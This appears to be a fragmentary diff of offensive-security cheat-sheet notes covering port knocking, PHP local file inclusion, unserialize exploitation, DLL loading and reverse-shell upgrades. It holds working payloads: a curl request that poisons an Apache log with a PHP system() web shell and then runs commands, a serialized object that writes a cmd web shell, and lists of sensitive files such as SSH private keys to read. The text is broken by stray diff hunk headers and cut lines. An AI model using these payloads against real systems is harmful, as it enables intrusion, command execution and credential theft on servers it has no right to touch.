notes on reversing
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# Port Knocking
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* Open filtered port behind a firewall by knocking nicely
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## Usage
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* `knockd`
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```sh
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knock <target-IP> <magicWords>
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```
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or
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* [arch wiki nmap script](https://wiki.archlinux.org/title/Port_knocking)
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* `nc -z`
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@ -26,10 +26,17 @@ http://example.com/home?page=/etc/passwd
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```sh
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curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log' -H 'Host: <TARGETIP>' -H 'User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/70.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1'
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```
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* Follow up with a request to
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```HTTP
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curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20../'
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```
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### /proc/self/fd
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* [outpost24](https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-2)
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* Log poisoning and opening logfile via `/proc/self/fd/xx`.
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### Base64 Encoding via PHP
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* Circumvent filter via encoding local files included ins a GET parameter value
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```http
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@ -48,9 +55,11 @@ curl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<
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* `/root/.ssh/id_rsa`
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* `/var/log/apache2/access.log`
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* `C:\boot.ini`
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* `/proc/self/fd/xx`
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## Tricks
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* Terminate query with `%00` or `0x00` does the trick until PHP 5.3.4
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* Terminate query with `/.`
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* `..//..//..//file`, double slashes
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# Unserialize
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* [Not so secure](https://notsosecure.com/remote-code-execution-via-php-unserialize/)
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* Serialize via
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```php
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<?php
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class FormSubmit {
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public $form_file = 'messages.php';
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public $message = '<?php
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if(isset($_GET[\'cmd\']))
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{
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system($_GET[\'cmd\']);
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}
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?>';
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}
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print urlencode(serialize(new FormSubmit));
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?>
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```
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# DLL Reversing
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* Start DLL on its own with the help a wrapper
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```C#
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HMODULE dll = LoadLibraryA("DLL.DLL");
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typedef void(WINAPI* Add_TypeDef)(int, int); // Add(int x, int y)
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Add_TypeDef Add = (Add_TypeDef)GetProcAddress(dll, "Add_MangledName");
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Add(1, 2);
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```
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# Function Decoration
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* Done to imported functions in order to do interpositioning and identify the variants of the function.
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* [name mangling](https://en.wikipedia.org/wiki/Name_mangling)
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# Upgrade Reverse Shell
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* [HighOn.Coffee](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
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* [reverse shell without python](https://www.schtech.co.uk/linux-reverse-shell-without-python/)
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* [ropnop](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/)
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## Via interpreter
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### PHP
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* reverse shell
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@ -24,6 +28,11 @@ python -c 'import pty; pty.spawn("/bin/bash")'
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perl -e 'exec "/bin/sh";'
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```
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### Script
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```sh
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/usr/bin/script -qc /bin/bash /dev/null
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```
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## Next
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1. `ctrl` + `z`
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2. `stty echo -raw`
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